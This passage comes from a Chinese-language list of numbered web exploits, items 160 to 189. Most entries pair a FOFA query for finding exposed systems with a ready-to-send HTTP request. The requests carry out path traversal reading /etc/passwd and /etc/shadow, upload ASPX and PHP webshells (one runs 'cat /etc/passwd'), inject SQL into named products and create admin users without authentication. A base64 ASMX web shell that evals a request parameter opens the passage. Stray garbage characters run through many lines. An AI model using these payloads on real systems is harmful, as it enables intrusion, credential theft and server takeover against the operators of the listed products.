2 {, b" P# P0 P8 M  J9 q<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
, t. C+ D. [% o9 n! c$ _</soap:Body>
9 R& \5 i% r  L6 ~6 M( R" k</soap:Envelope>
% m/ ~$ m0 \: R

# g+ O5 J: v! E: a+ Z+ h/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


- m, y/ L: N$ G" ?* T3 v160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
' a( m& L7 H1 g9 `2 u7 ZFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
4 G  m: M2 V7 O+ {  P/ ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
6 P7 C4 p$ s  V/ G4 uConnection: close
Accept: */*
Accept-Language: en
8 D0 ~$ v  L  d2 JAccept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
6 d( v2 n% E9 ]7 T2 n$ `Accept-Encoding: gzip
+ r8 Q( i2 Q7 J8 o( q& [, V
+ _! i, m0 _1 w  |" m9 ^' v  J<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
& j$ H5 J" `; T" Z' O- ixmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  k( A7 ]- i: m$ ]! M, |<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
  v! }/ J) H$ {4 t<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
; k& `8 B: D8 A. z' `& ~3 c0 Y</soap:Envelope>

8 G: M9 ?- |% M, q; H4 u8 J$ M
http://x.x.x.x/dizxdell.aspx

! g" p8 R/ l- r  V" M; s162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
- T. O- ^6 }$ E/ ^1 e$ A( G( SFOFA: app="和丰山海-数字标牌"
4 ]6 g- O7 v9 t3 O# x7 EPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
2 c( \% U& Q& Y5 z  LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
  ?, m/ j/ [2 S: {9 x7 l8 H, ~Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
$ ~3 Z2 c, _. k- |, PAccept-Encoding: gzip
5 }( Y" S1 q2 }3 l( ~2 i8 L0 ^
------WebKitFormBoundaryeegvclmyurlotuey
7 r, J8 C# f" B3 o/ x/ I; K' T* mContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
* z1 d6 _4 O- w------WebKitFormBoundaryeegvclmyurlotuey
, c% U6 @: q7 P5 xContent-Disposition: form-data; name="action"
/ z$ B4 J% d1 o( V3 `; w3 R
) t% l  }& N3 cupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
; @# O- N; a& T6 ?, S$ R: j/ C  A
3 Q, P  l) P# d/ o: GResourceNewResponder
8 x6 e4 w2 p  e0 C* N0 ^0 x------WebKitFormBoundaryeegvclmyurlotuey
# P% c2 `; ]$ l2 a  lContent-Disposition: form-data; name="remotePath"
3 i& E0 o( J( {! b! |; t
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
% `9 _) v# M! d. N* P' h

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
8 b1 C0 f1 f1 N/ {$ T
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
. a0 k, o# @& w# p+ S; d& cFOFA: icon_hash="-795291075"
( @9 M) B" m, S' A8 QPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
+ c, X7 W0 E2 M" ~Host: x.x.x.x
- s5 C( G; f  A' F, a8 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
) T. o/ m" a2 [  p! UConnection: close
, P* y) y" A6 ^2 eContent-Length: 293
6 @1 U# y; X" c" c8 R# C1 xAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
& I8 k5 u+ D' q5 S( B" ]0 O
1.php
$ `2 r/ ?6 p  b; |& T. f$ Q------iiqvnofupvhdyrcoqyuujyetjvqgocod
5 `% i6 ^) o( _Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
; e/ T. Q' T* t9 h2 A
1 h" P* n$ G; j) c
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
/ S) A  R& ~5 W8 m5 g$ WHost: x.x.x.x
5 `/ V# M/ ^5 [4 _, HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
* S% z1 x- G. dContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
0 Z" R# D# g3 C9 ?Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
9 V% b2 v/ N+ Y4 }X-Requested-With: XMLHttpRequest
- `8 ~8 ~. u; sAccept-Encoding: gzip
( O8 f  s! ]5 m3 h& h  [+ P
------dqdaieopnozbkapjacdbdthlvtlyl
$ O5 y: e' o. A% t3 o6 B) n( ?Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
2 T7 }  l6 H$ P9 f4 ~' BContent-Type: image/jpeg
/ d- [7 D3 J3 z5 q: s  t
% Q( e, @. u$ P! p; l2 C5 `<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
. l( T. n3 S1 {1 v( [: v- o------dqdaieopnozbkapjacdbdthlvtlyl--
8 \! R* T1 J: g- B

/ @- }  K7 o: \' Z7 k1 W7 D5 o& Ahttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
5 X2 `- t5 [6 L7 T$ L
9 W  r# a0 Y, D; K. g% @165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
7 d7 ?# l, _  B/ @

166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
; w  u' O9 m$ U6 C, ^2 _6 _Host:
" s% x! S5 v! ^: Q" t( x6 }Pragma: no-cache
. H  U/ [- q* V  \. y4 J) `Cache-Control: no-cache
' W* v5 {$ L! G- @; jUpgrade-Insecure-Requests: 1
) X# {: m: z% }5 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
3 K8 Y0 H# n+ _0 u$ C/ D& Q) v1 lConnection: close
  W% r  v) g8 I* _5 X7 }4 e- XContent-Type: application/x-www-form-urlencoded
Content-Length: 89
) D; K+ b5 h3 U. D2 \+ m. p) D6 q
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

/ L) C' f* p+ g3 D  p0 i2 m
, h# I! _! x5 H9 }. y7 }% e+ Z# t7 o167. 精益价值管理系统 DownLoad.aspx任意文件读取
) C/ g& z) L/ e' i7 P. hFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
6 p" P9 w7 @" K8 y4 P/ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* p& y( ]% z& M- ~7 Z  HContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  l1 y  g2 Y# d8 @
: I- D0 u4 v- L, V, d
- G5 P3 i: S4 Z9 t- i168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
( e* {6 ~; H" V" H$ B. Q+ M" }, vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
4 J' Q3 t$ l& N2 s/ i7 J$ BContent-Type: application/x-www-form-urlencoded
6 g- w0 q; F$ q9 G. @Connection: close
" v- x3 c* k$ S8 g


169. 宏景EHR downlawbase SQL注入
# N; u( e* b! a+ [, o5 r3 n4 [FOFA：app="HJSOFT-HCM"
% v- h9 v2 j/ W+ \7 i7 Z7 KGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
' g" Z2 Q. T) i; ~1 T, AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  v  `* e: g/ B* E& m2 G4 mAccept: */*
; H  E/ F0 A3 mAccept-Encoding: gzip, deflate
Connection: close

% L' V3 f- q  z, J7 {. i

2 ]" G" ~5 S. z" X8 D% s/ a0 C170. 宏景EHR DisplayExcelCustomReport 任意文件读取
% l8 ^, t7 m7 k% l! _FOFA：body="/general/sys/hjaxmanage.js"
/ e) K0 ]& }7 ^! h8 mPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

, J( [* M/ E6 W& Z2 j8 O; ~2 @filename=../webapps/ROOT/WEB-INF/web.xml

& r( u9 ^/ @: _+ S# q
/ J7 T; |2 R2 `4 g) R3 R: K7 ^171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# Z( p" |2 Q1 b+ v# z2 u' j5 PAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 ?4 r: w- `, l& m! M( e: D: d/ zAccept-Encoding: gzip, deflate
: s5 O1 |: l5 y- P+ MConnection: close



172. DT-高清车牌识别摄像机任意文件读取
3 a+ `: A! J. k0 B( V" g- _- n+ ]FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
( N/ ^& v& S4 g4 ]4 Z5 HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
: b$ q/ `9 `; d0 V7 Z4 QAccept: */*
Connection: keep-alive


/ `8 T) \, ~$ v) V
173. Check Point 安全网关任意文件读取
) N% y4 U: i3 i- y* fCVE-2024-24919
. z7 B% x- a$ aFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
$ I) |7 y3 Z( e2 h( @Content-Type: application/x-www-form-urlencoded
# @, v9 l2 y, Y1 u  M$ ^
( w, d$ ~3 B, y$ p: u1 n( kaCSHELL/../../../../../../../etc/shadow
6 s$ D# ^3 C$ l6 x7 M% m2 y- Q


174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
4 G/ Z0 B( ?, V7 CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& Q8 K( E' Q  y" O/ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 V0 X; M8 D) TAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
; g5 ^2 Z  N0 y, e! Y( B" }/ l

" {% H3 s2 {. M% t1 J; w5 g
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
% V' n$ P2 A9 pGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
2 q0 v7 H. W. b8 xUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- B' J& B2 c( o2 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 [6 {# ^& g) AAccept-Encoding: gzip, deflate
7 L  [) ?- C) S" C9 uConnection: close
! h' w6 N# r: q8 M( PUpgrade-Insecure-Requests: 1

1 |$ ^2 Z; `7 ~- v
" l. Z0 A4 J: W8 s/ t1 I" }- C176. 电信网关配置管理系统 rewrite.php 文件上传
# X: h; a6 }* L! n% D4 A9 w- ?FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
  L. i' l1 `5 Q5 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
8 V( |; F1 a, |7 [  n
4 }; x7 _8 D' x$ C------WebKitFormBoundaryOKldnDPT
( A- T# ]! E% o$ z5 f3 ]Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
( C  U* }) m+ Y
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
& s' Y1 Q& z7 a, j2 T- E* k

/ a% `3 _0 \- ]& ?# K------WebKitFormBoundaryOKldnDPT--
& |" m5 Z; e, d/ d0 p
- _/ \( {/ G# l2 A3 J. |# }1 g

0 A* \0 J& \$ x* k177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
) @1 j! ]% G) p/userLogin.asp/../actionpolicy_status/../M60.cfg
: C$ Z9 m# O1 {: e  J& Y; X/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
  |. P0 Y; e- j+ q; n' l) d: a0 G/userLogin.asp/../actionpolicy_status/../GR3200.cfg
$ v% z6 C2 f  `/ J8 f/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
8 l' a8 C. o6 B& B2 H% J; K2 \/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
  R1 w) F- j7 `% |/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
8 G7 T1 j; v5 S* K& Q/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
) L. `% @, S( q/ l9 o# o+ y& ~! ]/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
5 O! \3 D3 i9 m. @FOFA：header="/selfservice"
: m# m1 G1 b3 r3 `POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
& N" l. V' F0 E$ ^' i  k* {# aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
; d0 _) y6 y% U4 S& x0 LAccept-Encoding: gzip, deflate
Connection: close
, c  v+ ?! g8 N+ ~  i5 RContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
2 L" c% J3 l- R' z+ x-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

. K" J* |6 h' C, Z* K# d- s12234
-----------------aqutkea7vvanpqy3rh2l--
0 _* z5 {" F3 H9 V/ `4 l3 G

GET /imc/primepush/%2e%2e/flex/12234.txt

0 h4 ~, S9 W# i( ]1 e
; R  |+ g' s! M9 A; b  H179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
6 u" q! X3 c) ZContent-Type: application/x-www-form-urlencoded
* K5 N* [/ `! G' b' E7 g8 G2 eUser-Agent: Mozilla/5.0

) k  |6 D1 V# e* Apath=../log4net.config&Name=

& P3 B( R6 s' t7 |. v
6 a5 A/ B- `2 [8 [1 ?% O3 n180. 帮管客 CRM jiliyu SQL注入
, y* J9 v  Z5 LFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& N# U) m) s7 r% q! [4 z7 T' pAccept-Language: zh-CN,zh;q=0.9
0 i# |+ S, c0 P2 A& f$ z. wConnection: close

% j2 z- I$ o0 c( c
* S# ]# ^3 a$ h- ?; l& i181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
  g% ~7 P! b: D, v$ D4 o- P4 wFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
/ V5 I" i1 q; D, ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ^- x/ i! y- g: J$ cAccept-Encoding: gzip, deflate, br
- a$ ~, N* w# m& @# F2 n0 O5 mAccept-Language: zh-CN,zh;q=0.9
& }- Q3 Q6 a' ~9 J6 d) P( q; ?Connection: close
# I- }' z( a! LContent-Type: application/x-www-form-urlencoded
' _9 z) g! Y! H

- j$ x$ L, |1 x7 Laction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

- X6 \9 I3 M. i! |
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
3 K9 c5 Z' T% Q" R! W% y; zFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
8 F0 d3 X# }; N$ q% IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
" r# g& a. }: {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

) O2 }- S7 Z0 U, V6 N
  }; \+ T3 Z( h- n# u" M* Ausername=test1234&pwd=test1234&savedays=1

9 l- |0 L) _! {" {7 K" ?% T7 y
! q% l/ V9 w5 c183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
, u# w% N. U' v& U, S: Q5 sFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
3 @: `" }% q, ^# B6 j! c  S: u6 sGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
& K) B8 s( R% z8 MHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
% b1 U! A6 Y  M$ dAccept-Charset: utf-8
# V5 v7 B5 O7 B: _* \$ QAccept-Encoding: gzip, deflate
Connection: close


& L" W+ N# Q1 u- O: `6 k3 r# A184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
2 J. y4 w7 ?3 C7 ^2 w! B1 ZHost: your-ip
Accept-Encoding: gzip, deflate
* @0 @  X; [  n6 S) WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
, i/ u& b, C/ W" K/ uAccept: application/xml, text/xml, */*; q=0.01
  U: e2 E9 m- u% L$ f- C+ p4 LContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
( q- s5 @9 N9 o: v/ k3 w. p1 f( t
- p2 y2 o3 }1 a! \
( N# `4 q8 t* Linsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
- m  S' G* w: k6 t: @( h

185. 瑞友天翼应用虚拟化系统SQL注入
0 X+ a5 e0 y' B. o; jversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

9 L! F2 S$ m# g% f
186. F-logic DataCube3 SQL注入
7 f( ?0 e, e4 H# sCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
( T- O8 b! h( E1 h# QFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
8 O% k9 h9 L6 P8 S6 a4 f, CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 L* ~; W4 C2 K7 g% l# p+ ^1 aConnection: close
  i9 v5 f- l$ p9 l: _" QContent-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
# v! X' v, N% n8 ]4 p* c6 G
8 _6 e3 ~" G4 Z; \& O" o- L5 y
' L( v3 O- Y- R9 ?' M187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
9 i9 E0 U$ J/ O$ |+ ]: ~( iPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
. x) T+ u, ?1 \& g# HHost: your-ip
: i, C5 g6 {7 |Content-Type: application/x-www-form-urlencoded
. v# V' x  L& |& c( r
3 C/ T! Y8 G" O* ~& Z3 B2 ]
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
, Q5 ~4 v; v1 [# n2 \
5 T) m' x" C* z% O9 _( O. `
188. 叁体-佳会视频会议 attachment 任意文件读取
+ i8 d1 r+ u4 g: z' V9 z6 Xversion <= 3.9.7
% B+ N: d# P6 n  V9 g4 Z+ p$ F/ S4 nFOFA：body="/system/get_rtc_user_defined_info?site_id"
, A0 w3 B; }# A$ v( jGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 d7 f( j( [/ }; a7 k8 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; o* h: x4 D! y9 X5 v5 n2 C8 _Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
) c7 F9 |: X$ \
2 A: E# w, b5 O( l3 o( _0 E
2 p; b( r" M0 D8 H& p' `189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
( Z" b3 k; {+ J, C. [% mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) i* J( q) C0 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" H  B% F" F% B$ B* [5 t; OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
